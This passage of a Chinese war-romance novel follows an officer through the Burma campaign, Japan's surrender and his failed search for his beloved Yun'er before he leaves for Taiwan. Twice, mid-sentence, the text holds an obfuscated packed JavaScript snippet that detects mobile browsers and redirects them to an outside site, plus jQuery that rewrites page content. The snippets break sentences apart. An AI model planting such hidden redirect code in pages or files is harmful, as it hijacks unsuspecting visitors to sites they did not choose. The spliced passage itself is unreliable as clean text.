次日,我们列队入印。英军仪仗列队奏乐,鸣炮十响,以示欢迎。 七月十五日,新38师由英帕尔开往蓝姆伽。 七月二十五日,杜长官及经野人山撤退部队于印度东北阿萨姆邦获救,并于八月初抵达蓝姆伽,一万五千多人部队只剩下两千余人,几乎到了人鬼不分的地步。到了九月下旬,一则轰动营地的消息传来,一位22师野战医院的刘姓女兵和其男友从野人山密林中走出,也到了蓝姆伽! 那些日子,我自是时时的揪心和挂牵,不断打探各路部队撤退情况,这其中不仅为了哪些共同远征的袍泽,更为着我朝思暮想的芸儿。 据我所知,东线第6军是较早撤回国内的,若芸儿在那儿还好;若是在第5军,杜长官这一路没有芸儿,她要么随96师经孟关、葡陶翻越高黎贡山回到云南,要么和200师一路血战杀回云南。 那两条路线也是减员严重,而且据说回国途中人员掉队不少,好多人就再也没见着,或死于疾病,或死于野兽,或因崩溃或不愿拖累他人而自杀。但也有少许人以密林中累累白骨为向导,最终自己摸回国内。 当我听闻从野人山走出兄弟们的经历后,更是深深担忧起芸儿,我不断地安慰自己,不是有一位女兵走出了野人山么?虽只此一位,但不是说明有成功可能?芸儿那么坚强,那么坚定的寻我,她一定没事的。她一定是在另外几路中回到国内,也许此刻就在云南,就在昆明,就和她家人在一起! 饶是如此,我还是做了好些恶梦。其中印象最深的一幕,是芸儿和数位国军士兵一起在密林里,他们经过一堆堆白骨,又累又饿,一边拍打着身上手指粗的蚂蟥,一边艰难的向北前行,不远处,是好几只跟随已久的饿狼。 那个恶梦让我浑身凉透,醒来后来我不断给自己打气,芸儿不是一直在前行?芸儿一定会没事的,一定会的! 八月,新38师和新22师正式改编为中国驻印军,我们开始接受盟军物资和美式训练。不久后,驻印军编组为中国陆军新编第1军。 到了民国三十二年三月底,从二哥来信中得知,有一女子月初曾去中缅运输局在昆明的旧地寻人,却不知中缅运输局已解散,而所寻之人和我十分相似!二哥得此消息后已是太迟,托人去寻,已不知去向。 那一日我又喜又忧!喜的是我确定寻我之人就是芸儿,她终于回到国内!忧的是她又独自一人寻我,那她是归国途中掉队了?还是因为伤病还是其他什么原因了?她寻我不着,她又去了何方? 我只能再度安慰自己:芸儿从战场上生还,那就是天大的好消息,回到国内,总比孤身在外的好!再不得已,至少还有家人可依,胜利之后该会返乡吧,那我回去寻她,不是就有很大希望? 这样一想,我心情好了许多,至少那一直悬在心里的石头似乎不再像先前那样沉重了;而对于早些回国的期盼,则是日益强烈起来。 没过多久噩耗传来:五月三日,父亲因病离世。 父亲弥留之际曾数度叨念我的小名,并对我留下遗言:国事为重,不必奔丧。胜利之时,坟前告慰即可;若两人前来,亦泉下欢喜。 我听闻后大哭一场。在我眼中,父亲不仅仅是参加过辛亥革命的前辈,更是我人生中的良师;成我者严父,知我者益友!之秋无他,唯谨遵遗命尔! 自那以后,我便天天投入训练的热潮中去,每日所想都是早些练出强军,早些打回去,早些得胜回国;在父亲坟前报捷,还一定要找到芸儿,同去上香。 民国三十二年十月,驻印军在向缅北开始大规模进攻。 此番反攻我军所向披靡,数月内连克于邦、太白加、孟关、孟拱等地,至次年八月三日,中美联军占领密□□。我们沉重 打击了日军18师团等部,歼灭日军2万多人,一雪首次入缅作战失利之耻。 收复密□□后,中国驻印军就地进行修整,新1军被扩编为新1军和新6军,孙师长升任为新1军军长。 民国三十三年十月,国民政府在重庆召开知识青年从军运动会议,从此“一寸山河一寸血,十万青年十万军”的口号响彻云霄。 同月,中国驻印军按照计划从密□□、孟拱两个方向再次发起向南进攻。新1军连续攻下八莫、南坎。 民国三十四年一月廿七日,我们在云南芒友与滇西反攻的中国远征军胜利会师,随后我们一路南下,于三月八日攻克腊戌,三十日攻克乔梅,与英军胜利会师,我们重新打通了滇缅公路! 在欧洲战场上,美军跨越莱茵河,苏联红军已攻克维也纳。 在太平洋战场上,美军已解放马尼拉,拿下硫磺岛,正对冲绳发起进攻,美军B-29已开始轰炸日本本土,轰炸东京! 我们已看到了全面胜利的曙光! 22.胜利之后 民国三十四年七月,我随新一军回到广西南宁,装备反攻广州,不久后我调回重庆。 当月,国军收复益阳、赣州、桂林等地 ;廿六日,《中美英三国促令日本投降之波茨坦公告》发布,督促日本无条件投降,接下来可以说是好消息不断: 八月六日,美军在广岛投下原子弹。八日,苏联对日本宣战。九日,美军在长崎再投下原子弹,苏联红军出兵我国东北,对日本关东军发起猛攻;我全国军队进入大反攻。 八月十日下午大约五点五十分左右,我们在处里汇总当日的工作,刘科长忽然一阵风的跑了进来,有些上气不接下气的大声喊着:“好消息,天大的好.....消息!” 一位参谋打趣着说:“刘科长,什么好消息呀?是谁要请晚饭么?” “日本,日本投降了!” “刘科长,您这晚饭还没吃,就喝上啦?”那位正要继续打趣,忽然察觉什么似的,“您说什么?”然后猛地大喝一声:“大家安静!” 屋子里一下子就全静下来,似乎连心跳的声音都能听到,大家死死盯着刘科长,好像要把她生吃了似的。 刘科长一时呆住了,“你们这是......好吓人的。” “刘科长,您刚才说日本那个,再说一遍?” “日本,日本投降了呀。” “刘科长,您这哪来的消息?这反攻没几天呀?” “刚才通信科里值班人员汇报,说她们听到上清寺那儿来的消息,东京的英语国际广播里称日本接受《波茨坦公告》,无条件投降了。” 上清寺?求精中学?盟军总部? 这时几辆美军吉普车从窗外驶过,车上美国大兵兴奋的大喊大叫着:“Surrendered!Japan surrendered!Japan surrendered!” “林科长,那些美国兵在喊什么?” 我泪水早已忍不住的奔涌而出,“他们在喊,日本投降了!” 办公室里再度一片沉静,然后又迅速热闹起来。 “快快快,打开收音机,听听整点有没有新闻!” “调到重庆中央广播电台,把声音调到最大!调到最大!” 电波里传来播音员潘永元略显激动的声音:“各位听众,现在播送重大新闻……日本无条件投降……” “哦!”我紧握双拳,用力挥舞着,大声吼叫着。“我们胜利了!” 不光光是我,这屋子里的每一个人,这整栋楼里每一个人,还有大门外的卫兵,都是泪流满面着,情绪亢奋着,或疯狂拥抱着,或上下蹦跳着,或拍手庆祝着,或大声吼叫着:“胜利了!”“日本投降了!” 附近街上行人被我们的举动吓了一跳,可他们听清我们喊什么后,他们也疯狂起来,大哭的,大笑的,狂奔的...... 多年以后我还清楚的记得:一位光着脚板、面黄肌瘦、挑夫模样的中年人,把手中杠杠一扔,转身就往一条小巷跑,一边跑一边对着天空哭喊着;那声音悲戚中又有几分狂喜:“老汉儿,老汉儿,听见了哈?小日本投降喽!” 当天晚上,好些人守在收音机旁,19点、20点、22 点,就是为了再听一遍广播,我听说电影院里字幕上也不断播出日本无条件投降的消息,然后就是喊声掌声一片,甚至有些观众一看到字幕,就头也不回的往外跑。 中央通讯社的墙上贴出了“日本投降了”的巨幅号外,几位记者驾着三轮车狂敲响锣,街上的人很快多了起来,而且越来越多。所有人都是欣喜若狂或手舞足蹈的;《国民公报》的号外刚出现在街头,就被抢购一空。一些商铺忙着张灯结彩,然后敲锣打鼓的声音也四下响了起来,还有那鞭炮声,特别是那冲天炮声,似乎就没有停下来过;夜空也就如同白昼一般亮了起来,那是枇杷山、鹅岭、江北和南岸的防空探照灯在狂舞。 不知是什么时候,街上突然冒出了好多好多车来,什么卡车、轿车、客车、吉普车,等等,慢的如步行似的,好些卡车的车篷都收了起来,车上载满人,还有不少人试图爬上去,有些人就挂在车门边上;一些小孩不知从哪里找来洋铁桶,一边敲打着一边兴高采烈地的在人群中穿来穿去。也不知是从哪儿开始,突然就冒出了好多火把,然后就如同火龙似的,随着吼叫声、欢呼声一起,在游行的人群中扩撒开去,路边一些小餐馆了忽然就挤满了食客,干杯声,叫好声,猜拳声,就响成一片! 整个重庆疯狂了!我都不知道我是怎么回到家中的。 刚进门,我就看见二哥和母亲已等候多时,脸上写着激动和喜悦。没过多久,大姐也回来了,我们三姐弟点燃了香烛,齐齐在父亲遗像前跪下,泪流满面的磕头。八年了!我们终于胜利了! 恍惚中,我看见了父亲慈祥的微笑。 当我回到房间,已是凌晨三点。 我依旧兴奋的无法入睡。从罗店到鲁西,从湖北到重庆,再到缅甸,这八年以来所经历的一切,如放电影一般,一幕幕的在眼前浮现;我又取出芸儿的照片,放在手里细细端详。 芸儿,今夜无眠! 你应该也知道胜利的消息吧,这会儿你是否和家人在一起,开心不已?是否也和之秋一样,兴奋的睡不着?胜利之夜,你 是否也会像之秋一样,想起了彼此? 小城一别后,我们两这苦苦相互寻找,终将有一个结果了。 虽然此刻我们都不知道对方在哪里,但之秋相信,我们一定会重逢的,会很快重逢的! 芸儿,等着我,之秋来了! 不知什么时候,我迷迷糊糊的睡去。 就和芸儿在梦里相见,在小城,在运河边,一起对古诗词来着。 芸儿依偎在我怀里,深情的看着我,笑着说:“当时明月在。我们一起来---曾照彩云归。” 十五日早上,我们全家又聚在父亲遗像前,并把收音机也抱了过来。我们知道十一点,也就是东京时间十二点,日本天皇会在广播读《停战诏书》,正式宣布无条件投降。而且上午十时,国民政府主席兼军事委员会委员长蒋公会亲到重庆中央广播电台,发表《抗战胜利对全国军民及全世界人士广播演说》,我们谁都不想错过这历史性时刻。 听完广播后,我们三姐弟一同给父亲上坟。 回来路上,大姐问起我和芸儿的情况。 “之秋,寻洪小姐一事,你有什么打算?” “姐,我是这样想的。此前曾听张薇说过,梦芸她们一家在抗战期间内迁,而且梦芸曾多次出现在昆明,云南一带可能性较大,说不定就在昆明,只是不知在哪里;小弟想抽空先去昆明看看。” “阿姐倒是觉得洪小姐未必在昆明,她最后一次去中缅运输局寻你后,你二哥还连续登报寻她一周,包括到红十字会那儿寻人,都无消息。这么说他们一家应该不在昆明。当然他们没看报的可能性也是有的,可如今过去差不多两年半了,却一直再无音信。你这样去贸然去寻,无异于大海捞针。” “听姐这么一说,想想也是。那姐的意思是?” “之秋,阿姐只是从姑娘家的角度来看的,洪小姐从远征军九死一生的回来,说不定还带着伤病,一个人无依无靠的,她会不会去找家人呢?如今抗战胜利了,和家人一道返乡是最好的选择,而且你们是在她家乡相识的,她若继续等你,那应该就在家里了。” “这个我倒是想过的,国民政府应该不久就要还都南京,我们回南京后,自可去小城寻她的。不过,姐,若是梦芸继续等,您这是什么意思?” “之秋,阿姐的意思是,阿姐是说万一啊,万一洪小姐一个人从缅甸回来,会不会......阿姐说是会不会遇到什么人,遇到什么事呢?” “姐,您这么说让我越来越糊涂了。您的意思是?”我忽然有些不安了。 大姐长叹一声:“唉,之秋,阿姐就直说了吧。这事你还是要有个思想准备。若洪小姐继续等你,自是再好不过;可你有没有为她想想?她一个姑娘家,为了寻你,一个人跑去湖南,又一个人跑去缅甸!这么多年了,对你够痴情了吧,可是在她最需要你的时候?你在哪儿?当她一个人从缅甸回来,她自是知道远征军情况的,包括野人山什么的;到了昆明,她还寻不到你,她会多绝望?那个时候是最需要人疼的,最需要人爱的,她需要一个温暖的肩膀,一双有力的大手,为她撑起一片天。阿姐相信爱情,但阿姐要告诉你的是,之秋,若洪小姐因某事作出其他什么选择,你要理解的。真爱一个人,不管是否能在一起,都要让人家过得好好的,一辈子过得好好的。” 我听了一下子便呆住了,久久说不出话来。这些我怎么没想到呢? 八年了,好多事情都是从我的角度去想的,让芸儿等了我八年,我又能说什么?林之秋啊林之秋,你这不是太自私了? 大姐拍拍我的肩膀,继续开导着:“之秋,从最后得知洪小姐在昆明出现过,已经两年半了吧,此后再也没她的消息,这期间会不会发生什么呢?之秋,姐只是想啊,你今年虚岁都35了,如按你以前说的,洪小姐也31了,虽然战事的影响很大,可是之秋你想过没有?一个姑娘家如果年过30还未婚,别说她的父母,就她本人,要承担多大的压力?” 大姐见我心情跌入谷底,只好硬着头皮继续说下去:“之秋,你莫怪阿姐哈,阿姐还是支持你去寻洪小姐的。阿姐是想告诉你,这场战改变了好多人的命运,阿姐看过太多了!阿姐只是希望你有一个思想准备,若寻到洪小姐......且她还在等你自是最好,阿姐也是希望有情人终成眷属的。” 我抬起头,勉强挤出一个笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15631541|171881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容,“姐,之秋晓得,您这是为我好,我会把握分寸的。” 大姐听了也笑了笑,只是那笑容好不自然。 “之秋你能这样想自是最好,阿姐和二哥会继续帮你的。对了,之秋,刚才你提到张薇,倒是让阿姐想起一件事来。” “哦,是什么事呀?您尽管说便是。” “张薇那丫头倒是和阿姐保持通信来着,她这个军医快变成空军的人了。苏联援华航空服务队撤离后,她先是去了飞虎队,后边又去了中美空军混合大队了,这会儿在湖南。她今年都33了,还是未婚。诶,你们这些人,阿姐有时真是看不懂了。” 回到家中后,我自是心乱如麻。我知道大姐说的是实话,她是怕其中发生什么变故,怕芸儿最后去昆明寻我是另有深意,怕我用情太深了。 我知道我不该怀疑芸儿的,我好期望见着,可是忽然间又有些怕了。 九月三日早上,重庆在较场口会场隆重举行“陪都庆祝胜利大会”,全民为之狂欢,盛况之下,交通一度断绝六小时。 九月五日,曾同为中国驻印军的新六军接管南京。报载:“......新六军乘坐美式军车经中华门进入南京,入城之时我军将士军容严整,士气昂扬;数十万百姓夹道欢迎,鞭炮不断,欢声震天......”“有一对联:中国捷克日本,南京重庆成都。南京民众胜利之下欣喜之心,可见一斑。” 十二月中旬,我随国民政府行政院及各部、会先遣人员到达南京,着手准备还都。 到了次年一月,我得空请了假,直奔小城。 那日天空阴沉沉的,生冷得很。即使坐在车上,饶是觉得寒气一阵阵的往裤脚里钻。 说实在的,对于这次小城之行,我是心中一点底都没有。 我朝思暮想的芸儿回来了吗? 芸儿她们家若从西南回来,从时间上看应该差不多了,而且现在临近春节,胜利之后回乡开心过年,应该是很多国人的想法吧。 芸儿这些年还好吗?是否还在等着我呢? 这么多年没见着,之秋这颗心,可是一直为你留着啊。 芸儿见了我,会不会高兴的跳起来?我可是好想拥她入怀,听听她讲讲这些年所走过的路,吃过的苦,经历的事;我会和她讲我的故事,我要告诉她,这辈子我们再也不分开了,我要给她幸福,我要带她去见母亲,去见大姐和二哥,然后解甲归田,只要芸儿喜欢,我们就一起寻个地,过我们的安生日子。 我一路走一路想着,时而开心,时而担忧。我这是贸然前行?芸儿从远征军回来后这么长时间没有消息,不会发生什么吧?若身边已有他人,该如何是好?也许我该先去她周边邻居家问问?要不去学校?对了,不是还有徐雅一家? 然后又骂起自己,之秋,你这是怎么啦?你难道不相信你的芸儿吗?想想数次分别时的情形,想想她对你的一往情深,想想她能不顾一切千里万里的去寻你,你怎能怀疑她呢?你还是人么? 可是大姐也说得对呀,芸儿经历那些苦难的时候,你在哪儿?芸儿最无助、最需要你的时候,你又在哪儿?之秋你是不是太自私了? 你怎么能要求人家苦苦等着你呢?八年了,人生有几个八年?你让芸儿把一生中最美好的时光都用来等你、寻你,是的,之秋,你是为国效忠了,可是对芸儿,你是否足够用心,虽然你也在寻她,可你是否能问心无愧呢? 你不是希望芸儿过得好,希望她幸福?你向来是讲传统的,若是此时芸儿身边已有了他人,是去和她说你的那些报国故事,还是该安静的走开? 我越想心里越乱。然后不知怎么的,居然先走到徐雅家了,就见眼前是一片火烧后的废墟。 我大惊之下找人一问,才知是小鬼子占了小城那晚,徐府被鬼子占了,夜里就起了大火,徐府一家没了,还烧死了小鬼子;据说那火是徐家小姐放的,火烧起来时空气里有不少油烟味,是个烈女子。 我脑袋里轰的一声就乱了,泪水不停地流着。我不由想起以前那些日子,想起徐雅在我记忆中的点点滴滴...... 我心里乱乱的,走着走着就到小河边,往那熟悉的方向一看,不好!那小楼的一侧屋顶貌似坍塌了!这又是怎么回事? 我急忙跑了过去,大门紧锁着,我转了转,那一侧的屋顶真是塌了。 附近一些房子看似修缮过,但有些地方还是明显有过烟熏火燎的痕迹,应该是战事闹的,再问了一下周边的街坊,说是有 七年多没见着这家人了。 我心里顿时一片冰凉: 芸儿这一家是还没回来么? 我心爱的芸儿,中国这么大,你究竟在哪里呀?抗战都胜利了,你倒是回来呀,回你心爱的家乡呀!之秋来这寻你了! 苍天啊,帮帮我吧,让我的芸儿回来吧! 23.梦断小城 时光飞逝,转眼就来到民国三十六年四月。 小城我又去了几回,芸儿依旧没有消息。 这让我时常不安,甚至有时抓狂;担心发生什么,便不断祈求吉人天相。又时常自我安慰,该不是他兄长在政府里做事还未调回?或是他们一家在西南某地已购置产业?我一度好想去寻,可中国这么大,让我去何处寻她? 内战已全面爆发近十个月了。 关于这场内战,我随颇有些看法的,却身不由己。 处长早已是副局,这日上午上班不久,电话通知有事要谈。 入座寒暄后,副局便开门见山了:“之秋,听说你对战事有些微词?” 我只能实话实说了:“副座,这战一定非打不可?为何不能和平建国呢?” “之秋,这战都打了好几月了,你怎么还有这样的想法,你是不懂政治吗?” “之秋只想当个纯粹的军人,只懂保家卫国!” “纯粹的军人?这不是笑话?没有政治,哪来的军队?哪有军人?保家卫国,难道不是为政治服务,为国事服务?你知道雅尔塔会议吗?” “知道。不就是美英苏三国统一协调对德日作战?协调战后和平安排?” “之秋,让我怎么说你呢?雅尔塔会议就那么简单?” “愿听副座教诲!” “雅尔塔会议是哪一年开的?民国三十四年二月!我国政府没派代表参加,可是美苏英三国在会议上却将中国的利益私相授受!为了换取苏联出兵对日作战,他们牺牲了多少我们的利益?他们背着我们订立了协议,把国民政府视同无物!最可恨的是,美国人直到那年六月才将会议内容通知我们!你听明白没有?是通知!他们眼里可曾有过我们丝毫的主权?都说弱国无外交!若是我们中国强大了,他们敢这么为所欲为么?” “这个之秋晓得,之秋也是恨国力不强!。” “所以说之秋,既然你知道大国都在搞势力范围,美、苏都不愿意看到一个统一的、强大的中国,你就更不能只当一个纯粹的军人,你要懂政治!” “副座教诲的是,但我们和小日本拼了八年,死了那么多人,如今百废待兴,正当重振山河,发展民生,和平不好么?” “之秋啊之秋,中共和苏联是一家的,毕竟和我们不同。之秋,你有没有想过,且不说国共两党之间那些瓜葛,倘若大半个北方成为苏联势力范围,哪天美苏交恶了,中国又要回到南北朝去?” 副局顿了顿,继续说着:“依我个人之拙见,要想重回大国之林,要想民族复兴,江山必须一统!这点你还看不明白?” “之秋也希望未来之中国,是强盛之中国,民主之中国,是讲究民生之中国。可是副座,世人都道民心向背呀!如今民众都希望和平,为什么要打内战呢?我们毕竟一起打过小鬼子的呀!还有国府那些人,他们借着内战又做了什么?您不知道么?” “之秋!你怎么还转不过弯呢?还有,你这思想有问题!你可知小报告都到我这了?你这番话,今后再也不许说了!很危险!很危险!!” 副局说完后还重重敲了敲桌子,随后深思许久,长叹一声。 “之秋,看来你还是换个地方好,去台湾。” “去台湾?” “是的,前不久台湾发生民变,21军已在基隆登陆了。陈仪那也要人。” “局座,之秋听说这台湾民变和接收有些关系?我们有些接收大员吃相太难看了,讲究什么五子登科,接收都成为劫收了,是打劫的劫。” “林之秋!你哪来那些牢骚!那些问题,大家都知道的。说台湾!毕竟被日占领五十年了,搞不好有些人还自认为是天皇的顺民!回归不久就出事,谁知道这后边有哪些势力作祟?台湾不能乱!再说去台湾,也是为你好!” “之秋明白!”话都说到这个份上了,我只能答应了,却不知怎的就冒出一个念头,我的芸儿还没找着呢,这就要去台湾?这一去又要多久? 我正有些纠结,没想到副局来了一问:“对了,你那位洪小姐,找着没有?” 我心里一热,急忙回道:“报告副座,还没有。” “你呀你!我可听说,当年你想着法儿要去远征军,多少有些和洪小姐有关?那位叫什么来着?” “洪梦芸。”我有些脸红了,“之秋伤重归队后辗转回到重庆,偶遇张薇,得知梦芸一直在找之秋,后边又听说她不知怎的随远征军入缅了,正好处里不是要派人随远征军二期入缅?这才申请前往的。” “你呀真是性情中人!可是没遇上?” “副座明鉴!之秋是民国三十一年四月随66军入缅的,彼时其他远征军已作战数月,战斗紧迫,之秋又矢志倭寇不除,不敢言他!怎能特意找人?八莫、密□□失陷后,远征军分数路突围,之秋随新38师退到印度英帕尔,之后有消息说她撤回国内后还去昆明寻我,可惜此后再也没新消息了。” “嗨!真是孽缘啊!抗战胜利后去那小城找过没?” “回南京后共去寻四次,春节前还走了一回。每次都是大门紧锁,有一侧屋顶有些坍塌,想必是多年未有人住了。此外多方打听,也没有结果。” “抗战八年,民众多有西迁的,他们一家到了西南某省也未可知,一时半会没回到家乡也是可能的。”副局开始安慰我了,“这样吧,之秋,听说你们家已搬回汉口啦?去台湾之前你休个假,一来可回家探亲,顺便带我向老夫人问好;二来也可再去小城寻访,要是他们一家回来了呢?若能带洪小姐一同去台湾,岂不是一桩美谈?你也三十好几的人了,老大不小啦!” “谢谢副座!”感谢之余,我却有些惴惴不安。 芸儿!你可回到家乡?之秋寻你来也!你可一定要在啊! “之秋,你可以找一下吴明远嘛,他去年底退役转入警察厅,前几日回南京了。战争期间不好找人,如今一省之内,打打电话,让下边的人跑跑腿,或是查一下户籍什么的,应该还是可以的。” 是呀?这个通过警察查户籍,不就知道人回来没有?这个我先前怎么没想到?还有熟人!再次谢过副局,我立刻联系明远了。 老友重逢,自是格外开心。 明远还是老样子,只是走路不太方便,左手还始终戴着一个白手套。他见我有些疑惑,笑着摘下来,露出了剩下的两个手指,我一下什么都明白了。 “明远!”我一下子都不知说什么才好了。 “这都是第三次长沙会战的纪念。”明远反而笑着安慰我了,“没事的,这些年我都习惯了,比起哪些兄弟们,我已是很好了。听说你后边去了远征军?” “是的,后边又变成驻印军了。三十四年反攻胜利后,回国后恰逢小日本投降,那会儿别提多开心了。” “我也是,打了八年,还有什么能比胜利更让人激动呢?之秋,不怕你笑话,我激动的连续好几天都睡不着!今天见到你,真是开心呀!不过有件事,我可要爽约了。” “爽约?什么爽约?”我一下子没反应过来。 “就是菏泽那晚,你我约定若活到胜利之时,游遍我中华大好河山!可如今我这个样子,走不了远路了。我当自罚三杯!”说着说着,明远就兀自端起了酒杯,一口气三杯就下肚了。 “明远!你这是抢酒喝呀?看到今晚上好酒啦?我也当陪三杯!”我故作较真的责备,心里却是一阵酸楚,也连喝了三杯。 数杯酒下肚,气氛就活跃起来,只是明远的酒量真是不行呀。 “之秋,你今后有什么打算?北边这仗已打数月,你在国防部,你,你该不会不希望这越打越大,打上数年吧?” 我听了便是一脸苦笑,“哪能呢?我这是避之不及呀!” “这个好!自家人,自家人打自家人的事,咱们不参与!” 我看明远有些醉意了,急忙岔开话题,“这不,我要调去台湾了。” “去台湾?去台湾好呀,小日本占了五十年,你过去,好好的,我是说把台湾建的好好的!” “这是自然,明远,兄弟今日可是有一事烦请帮忙了。”我接着就把寻芸儿一事详详细细的和他说了,顺便把芸儿的照片给他看了。 明运听着听着眼圈就有些红了。“嗨!你们这一出,是哪跟哪呀。之秋你放心!明天我就落实!若寻着了,你可要请我吃酒哦......” 那晚好开心。我和明远聊了好多,后来都不知怎么回到宿舍的。 次日下午下班前明远来了电话,说找了当地警察局,听他们反馈,梦芸和其家人于今年春节前回乡,梦芸现在小城医院工作! 放下电话,我泪流满面了。想想上回寻访若迟上几日,不就遇上了?然后又怪自己怎么节后没再去呢? 我拿出梦芸的照片,忽然有些不安起来。芸儿还是一个人吗?电话里既然没提,应该是吧!芸儿啊芸儿!我们彼此寻得好苦呀!如今终于苦尽甘来,我们很快就能在一起了!芸儿,之秋这就去小城,给你一个大大的惊喜! 那个晚上,我一边喝酒一边对着照片说话,不知不觉中酊酩大醉。 两天之后恰逢周日,副局安排一辆吉普,送我到小城。 我坐在副驾驶位上,看朝阳正好,看河上船来船往,心情颇为忐忑,越靠近小城越是,怎么形容那种感觉呢?古人说的近乡情更怯,这就是了。 芸儿,之秋寻你来了!自那日分别,屈指一算已近十年。这十年你是如何过来的?吃了哪些苦?如今还好吗?变化大吗?见到之秋,会开心吗? 芸儿,之秋寻你来了!若你还在等我,之秋要让你成为世上最幸福之人!之秋要直接和伯父伯母说我们的事情,之秋要在 汉口和小城举办两场盛大的的婚礼!之秋要带芸儿去台湾!对了,还记得上回在小城,你说你已学会了探戈,现在还没忘吧?之秋答应过的,胜利之时一定和你跳上一曲,之秋要在婚礼当天举办舞会,之秋要在众人面前邀请芸儿跳那曲《一步之遥》!这一步我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15639894|171881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走了近十年,如今终于跨过来了,我们终于可以走到一起了! 经过熟悉的大街,快了,快了,心里正说着快要到了,就远远的看见小河边,那紫色花儿之上,那明显修葺后的屋顶,我的心儿不由得狂跳起来。 临近正午,路上还是有些人,司机转弯经过街角,车速慢了下来。 就在那瞬间,我看到前方不远处,一男一女带着孩子欢快的走着。 男的是一身灰色长衫,大声的说着笑话,手牵着一个三四岁样子的男孩,男孩手拿风车,蹦蹦跳跳的;女的则是蓝布长袍加灰色坎肩,侧耳听着;一个不到两岁的小女孩趴在肩上,好奇的向后张望。 那女的身形怎么如此熟悉?如此亲切?这不是我朝思暮想的芸儿? 芸儿,真的是你么?让之秋寻得好苦呀! 车子缓缓的前行,看着熟悉的背影,我的眼泪忍不住就要流下来了。感谢老天!感谢老天!终于让我们重逢了!我摘下了墨镜,正要让司机停车,猛然间我注意到那女子左肩上的小女孩,眉眼间似乎有些芸儿的样子,而牵小孩的男子与那女子貌似颇为亲密;这是怎么回事? 一个不好的念想涌上心头。那真是我的芸儿?但是她抱着孩子! 司机见人多把车子停了下来,我的心瞬间就跌倒了谷底。 司机按了下喇叭,前面的行人让了让,那女子注意到身后来车,侧了一下身子,顺势把小女孩从左肩换到了右肩,又侧了一下脸。那一刻,我认出了,是芸儿!真是芸儿!是我魂牵梦绕的芸儿! 但这是怎么回事?我眼前的他们,似乎是一家人!难道大姐的猜测是真的? 司机又按了下喇叭,路人才把前行的通道让出,就见芸儿抱着小女孩又往路边让了让,那一声喇叭却让我瞬间清醒过来, 仿佛听到有一个人大声在我脑海里喊着:芸儿嫁人了?芸儿真的嫁人了!还有了孩子?两个孩子! 难怪这些年我寻她不着!一定是发生了什么,一定是! 吉普车动了,从芸儿左侧缓缓前行。我和芸儿的距离,不会超过五米,可这短短的距离,在我心里竟似有万里之遥! 芸儿感觉车子从身后过来,略一回头,视线交织,只见她一下子就呆住了。是震惊,是疑惑,还有什么,我一时也说不清,就觉得看我如同天上掉下来似的。芸儿低下了头,一边调整抱孩子的姿势,一边很快抬起头来,张着嘴努力想说些什么, 却什么也说不出来,她直直的站在那儿,如同一尊雕像...... 芸儿定是认出我了!我一直等着,可她怎么不叫我呢?是不敢相认么? 她必是结婚了。身边想必是她的先生,她的孩子;或心里有愧,不敢叫我! 我该怎么办?该叫她吗?该相认吗?倘若相认了又该如何?芸儿的家庭就在那里!她两个孩子该怎么办?我是该打扰他们?还是该安静的走开? 我忽然发现自己几乎要崩溃了,只能别无选择装出不认识的样子! 芸儿眼睁睁的看着吉普车如同蜗牛般驶过,再看着副驾驶位上端坐着的我,她脸上闪过一丝不易察觉的苦笑,然后紧紧的咬着嘴唇,一行泪水奔涌而出。 那一刻我心如刀割,却无动于衷,任凭吉普车从芸儿身边驶过! 吉普车往前行驶了十多米,我终于忍不住回了一下头,看到了让我久久难忘的一幕:芸儿直直的站着,看见我回了头,脸上露出期盼的神情,然后急急的向前走了几步,见车子依旧未停;她一手抱紧了孩子,一手便捂住了嘴,脚下却是一个踉跄,险些跌倒;一旁那男子见了急忙上前,一手扶住了。 我强忍着泪水,却装着一副若无其事的样子转过头来,目视前方。 这时司机似乎发现了什么,小心的问了一句:“林长官,您这是?” 我挥了挥手,“没事,继续往前,刚才还以为遇到熟人了,认错人了。” 司机看了看后视镜,嘴里冒出一句:“这两口子,带两个孩子,走路还这么不小心。” 后视镜里,芸儿已蹲在路边,头扭向一侧,用手背堵着嘴;小女孩站在已一边,貌似在帮芸儿擦眼泪;那男子弯下了腰询问着什么,好关心的样子,还不时的朝我们的方向张望。 那一刻我就觉得胸口好疼,好疼;又似乎被千斤巨石压住了一般,让人喘不过气来,脑海里却分外清醒,只是有个声音不断在重复着:林之秋!你必须离开,马上离开!安静的离开!越远越好!越快越好! 看着后视镜里的他们渐渐消失在人群中,我深吸了一口气,戴上了墨镜,默默的任车前行。 一周后,我乘船前往台北。 临行前明远闻迅前来码头送我,看我只身一人,问了原委后长叹一声:“兄弟!保重!去了那边,要好好的,一切都要好好的!” 汽笛响了,船儿开了。 我到了船尾,看着渐渐远去的大陆,挥手告别: 别了,大陆!别了!芸儿!愿你一家安好,幸福! 24.台北晚餐 时光飞逝。 转眼已到了民国四十二年九月廿二,中秋。 我站在金门乌沙头的海边,手里拿着望眼镜,呆呆看着对岸的厦门和同安。 刚到台湾那些日子,我只是一度的伤心,用工作来麻醉自己,从来没有想过有一天我会回不了大陆。可残酷的现实,狠狠敲打着每一个从大陆撤退到台湾的人。 